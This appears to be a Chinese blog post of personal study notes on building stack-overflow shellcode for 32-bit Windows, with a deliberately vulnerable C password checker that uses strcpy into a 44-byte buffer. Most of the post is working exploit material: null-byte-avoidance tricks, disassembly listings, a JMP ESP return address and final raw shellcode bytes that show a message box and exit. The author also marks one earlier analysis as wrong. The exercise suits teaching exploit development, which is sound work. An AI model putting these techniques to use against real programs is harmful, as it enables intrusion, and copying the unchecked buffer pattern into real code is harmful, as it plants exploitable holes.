栈溢出shellcode字符串push

这是很久以前的笔记了  去年的笔记···········

这里增加几条:

1)  PUSH  字符串, 先用其他字符代表0x00  然后 通过 EBP的负偏离量处一字节一字节的写入!!!!!!!!!!

重新产生没有 NULL字节的 机器码

2) XOR/add /sub  计算  比如 0x006e616c  那么     0x77191693 xor 0x777777ff = 0x006e616c    直接压入 进行xor

mov eax,0x77191693 

mov ebx,0x777777ff

xor eax,ebx

push eax 

3)直接压入字符串 然后单字节压入 

xor eax,eax, 

push eax,           

mov ebp,esp

mov byte [ebp-2] ,61

4) 对于  像  0x000000AB   的字符的话    用  

mov eax,0xXXXXX   

push eax

5)直接用  0x20 空格代替 结束符,一般情况下可以用的



00401110      33C0          xor eax,eax
00401112      8BEC          mov ebp,esp
00401114      68 61202020   push 0x20202061
00401119      8845 FD       mov byte ptr ss:[ebp-0x3],al
0040111C      68 70616E64   push 0x646E6170
00401121      8BDC          mov ebx,esp
00401123      50            push eax
00401124      68 B3F6C1CB   push 0xCBC1F6B3
00401129      68 BEADD2E7   push 0xE7D2ADBE
0040112E      68 6120D2D1   push 0xD1D22061
00401133      68 70616E64   push 0x646E6170
00401138      68 B1A8B8E6   push 0xE6B8A8B1
0040113D      8BCC          mov ecx,esp
0040113F      50            push eax
00401140      53            push ebx
00401141      51            push ecx
00401142      50            push eax
00401143      E8 A2F69477   call USER32.MessageBoxA

可以看到我们已经可以构造  不是标准 4字节的字符串了,而且可以再也不用烦恼 bad character!!!!!!!!!




以下分析有错   在JMP EBX  中  运行shellcode运行时会修改shellcode 所以最好都不知道变什么样了  但是PUSH 字符串分析是正确的

因为压栈会破坏数据


想要插入字符串  必须从后往前插入 如果大于4字节  并且保证最后为4字节再例如:

0013FAF0    33DB                               xor ebx,ebx
0013FAF2    53                                 push ebx
0013FAF3    6A 61                              push 0x61
0013FAF5    68 50616E64                        push 0x646E6150
0013FAFA    68 20627920                        push 0x20796220
0013FAFF    68 30646179                        push 0x79616430
0013FB04    8BC4                               mov eax,esp

原因是 push 后有结束符吧
以上是最难得地方;


这里是源码:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	LoadLibrary("user32.dll");//prepare for messagebox
	if(!(fp=fopen("password.txt","rw+")))
	{
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

写了个程序  可以倒叙输出字符串  方便压栈





以下为正确的:

JMP ESP   堆栈很安全  几乎没被修改:

77D91E64  - FFE4            jmp esp
在返回地址处 修改为上面这个

0013FB28    33DB            xor ebx,ebx
0013FB2A    53              push ebx
0013FB2B    6A 61           push 0x61
0013FB2D    68 50616E64     push 0x646E6150
0013FB32    8BC4            mov eax,esp
0013FB34    53              push ebx
0013FB35    50              push eax
0013FB36    50              push eax
0013FB37    53              push ebx
0013FB38    B8 EA07D577     mov eax,user32.MessageBoxA
0013FB3D    FFD0            call eax
0013FB3F    B8 FACA817C     mov eax,kernel32.ExitProcess
0013FB44    FFD0            call eax

二进制位:

33 DB 53 6A 61 68 50 61 6E 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 B8 FA CA 81 7C FF D0

安全弹框  安全退出













  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值